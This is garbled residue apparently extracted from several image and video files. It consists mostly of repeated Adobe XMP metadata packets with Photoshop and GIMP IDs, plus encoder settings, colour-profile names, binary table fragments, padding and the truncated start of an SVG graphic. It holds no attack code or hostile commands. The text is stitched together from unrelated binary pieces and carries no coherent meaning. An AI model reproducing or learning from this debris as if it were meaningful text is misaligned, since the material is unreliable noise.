(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6F30B5EAA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6F30B5EBA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6F30B5E8A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6F30B5E9A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>yXk
  %*5-%'2(  .?/279<<<$-BFA:F5;<9
9& &99999999999999999999999999999999999999999999999999
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
aiCCPkCGColorSpaceDisplayP3
iTXtXML:com.adobe.xmp
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <exif:PixelYDimension>280</exif:PixelYDimension>
         <exif:PixelXDimension>300</exif:PixelXDimension>
         <exif:UserComment>Screenshot</exif:UserComment>
      </rdf:Description>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:5428DCF1A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:5428DCF2A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5428DCEFA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:5428DCF0A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:66E960C0A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:66E960C1A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:66E960BEA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:66E960BFA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmpM
.iid:5068BFDBABF911EDB3A09DD7CDEE5E4B" xmpMM:DocumentID="xmp.did:5068BFDCABF911EDB3A09DD7CDEE5E4B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5068BFD9ABF911EDB3A09DD7CDEE5E4B" stRef:documentID="xmp.did:5068BFDAABF911EDB3A09DD7CDEE5E4B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(M
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:5000FDB8A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:5000FDB9A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5000FDB6A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:5000FDB7A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:78DCC0F7A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:78DCC0F8A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:78DCC0F5A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:78DCC0F6A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:299C4F2FA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:299C4F30A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:299C4F2DA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:299C4F2EA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>[
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:4CE77FAAA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:4CE77FABA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4CE77FA8A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:4CE77FA9A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:48C20DABA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:48C20DACA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:48C20DA9A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:48C20DAAA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?><5
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
Beautiful Guan Yin in Tuscany
 Beautiful Guan Yin in Tuscany
;http://ns.adobe.com/xap/1.0/
' id='W5M0MpCehiHzreSzNTczkc9d'?>
meta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:dc="http://purl.org/dc/elements/1.1/"/><rdf:Description rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b" xmlns:dc="http://purl.org/dc/elements/1.1/"><dc:title><rdf:Alt xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:li xml:lang="x-default">Beautiful Guan Yin in Tuscany</rdf:li></rdf:Alt>
			</dc:title><dc:description><rdf:Alt xM
mlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:li xml:lang="x-default">Beautiful Guan Yin in Tuscany</rdf:li></rdf:Alt>
			</dc:description></rdf:Description></rdf:RDF></x:xmpmeta>



                     M





                                    M





                                                   M





                                                                  M


                            <?xpacket end='w'?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:586556AAA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:586556ABA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:586556A8A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:586556A9A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
5iCCPAdobe RGB (1998)
iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7M
.1-c000 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 22.5 (Macintosh)" xmp:CreateDate="2023-02-10T17:32:35Z" xmp:ModifyDate="2023-02-10T20:06:30Z" M
xmp:MetadataDate="2023-02-10T20:06:30Z" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="Adobe RGB (1998)" xmpMM:InstanceID="xmp.iid:1beb0ccf-07c2-415e-ae26-3f19041b879f" xmpMM:DocumentID="xmp.did:1beb0ccf-07c2-415e-ae26-3f19041b879f" xmpMM:OriginalDocumentID="xmp.did:1beb0ccf-07c2-415e-ae26-3f19041b879f"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:1beb0ccf-07c2-415e-ae26-3f19041b879f" stEvt:when="2023-02-10T17:32:35Z" stEvt:softwareAgent="Adobe Photoshop 2M
2.5 (Macintosh)"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:5428DCE9A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:5428DCEAA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:529C2BBEA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:5428DCE8A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:74D85946A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:74D85947A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:73578E51A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:73578E52A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:99B8731AA35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:99B8731BA35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:99B87318A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:99B87319A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:63CCC2E4A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:63CCC2E5A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:63CCC2E2A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:63CCC2E3A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>qO
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:2c59943b-8341-4c5b-a103M
-340b77869677" xmpMM:InstanceID="xmp.iid:ee4d5796-8035-4830-9ad2-92ea620ac7a3" xmpMM:OriginalDocumentID="xmp.did:0a5caa46-0c45-40b1-ba0a-9eeb74b01941" GIMP:API="2.0" GIMP:Platform="Mac OS" GIMP:TimeStamp="1676320971569062" GIMP:Version="2.10.32" dc:Format="image/jpeg" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13T15:42:43-05:00" xmp:ModifyDate="2023:02:13T15:42:43-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:3f45e5c8-7266-46d3-b004-bee0ddc0338M
b" stEvt:softwareAgent="Gimp 2.10 (Mac OS)" stEvt:when="2023-02-13T15:42:51-05:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                             M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                            <?xpacket end="w"?>
Copyright Apple Inc., 2017
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6C9FEB50A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6C9FEB51A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6C9FEB4EA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6C9FEB4FA35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
HandBrake 1.6.1 2023012300
x264 - core 164 r3100 ed0f7M
a6 - H.264/MPEG-4 AVC codec - Copyleft 2003-2022 - http://www.videolan.org/x264.html - options: cabac=1 ref=16 deblock=1:0:0 analyse=0x3:0x133 me=tesa subme=11 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=24 chroma_me=1 trellis=2 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=0 chroma_qp_offset=-2 threads=23 lookahead_threads=5 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=16 b_pyramid=2 b_adapt=2 b_bias=0 direct=3 weightb=1 open_gop=0 weightp=2 keyint=240 keyint_min=24 scenecutM
=40 intra_refresh=0 rc_lookahead=60 rc=2pass mbtree=1 bitrate=390 ratetol=1.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 cplxblur=20.0 qblur=0.5 ip_ratio=1.40 aq=1:1.00
text/plain;charset=utf-8
D$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BDa
D$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD{
$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$l
$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$BD$Bj
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.171c27fab, 2022/08/16-22:35:41        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.0 (Windows)" xmpMM:InstanceID="xmpM
.iid:CE9307A2ABF911ED964AC0D4A3DD2073" xmpMM:DocumentID="xmp.did:CE9307A3ABF911ED964AC0D4A3DD2073"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CE9307A0ABF911ED964AC0D4A3DD2073" stRef:documentID="xmp.did:CE9307A1ABF911ED964AC0D4A3DD2073"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(M
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:6554D6A1A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:6554D6A2A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6554D69FA35811ED91B9E772073C0A24" stRef:documentID="xmp.did:6554D6A0A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.eda2b3fac, 2021/11/17-17:23:19        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatM
orTool="Adobe Photoshop 23.1 (Macintosh)" xmpMM:InstanceID="xmp.iid:4CE77FA6A35811ED91B9E772073C0A24" xmpMM:DocumentID="xmp.did:4CE77FA7A35811ED91B9E772073C0A24"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4CE77FA4A35811ED91B9E772073C0A24" stRef:documentID="xmp.did:4CE77FA5A35811ED91B9E772073C0A24"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Adobe Photoshop 22.1 (Windows)
cropWhenPrintingbool
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c005 79.164590, 2020/12/09-11:57:44        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="M
" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop 22.1 (Windows)" xmp:CreateDate="2023-02-11T13:51:26+04:00" xmp:MetadataDate="2023-02-11T13:51:26+04:00" xmp:ModifyDate="2023-02-11T13:51:26+04:00" xmpMM:InstanceID="xmp.iid:81584a45-38d4-9943-ae42-7ea2b65cf83e" xmpMM:DocumentID="adobe:docM
id:photoshop:80ad65ac-9cc5-0f47-81ed-5bdcb67dcfab" xmpMM:OriginalDocumentID="xmp.did:440deb1a-2ea6-fd4a-89bf-5731b78e8a10" dc:format="image/jpeg" photoshop:ColorMode="3"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:440deb1a-2ea6-fd4a-89bf-5731b78e8a10" stEvt:when="2023-02-11T13:51:26+04:00" stEvt:softwareAgent="Adobe Photoshop 22.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:81584a45-38d4-9943-ae42-7ea2b65cf83e" stEvt:when="2023-02-11T13:51:26+04:00" stM
Evt:softwareAgent="Adobe Photoshop 22.1 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                           M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                              <?xpacket end="w"?>
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 25.2.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" id="Ebene_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 419.53 419.53" style="enable-background:new 0 0 419.53 419.53;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#EDEDED;stroke:#000000;stroke-width:2;stroke-miterlimit:10;}
	.st1{fill:#198139;}
y:'Selawik-Regular';}
	.st4{font-size:11.1281px;}
	.st5{font-size:37.8285px;}
<circle class="st0" cx="209.76" cy="209.76" r="209.76"/>
	<path class="st1" d="M186.06,84.53v45.28h45.28V84.53H186.06z M222.56,121.03l-27.77,0.06V93.25h27.77V121.03z"/>
	<path d="M260.31,85.44c-6.05-23.38-23.95-39.46-45.62-41.06c-25.38-1.88-48.48,12.66-56.29,35.36c-7.47,21.79-4.9,47.51,7.36,74.25
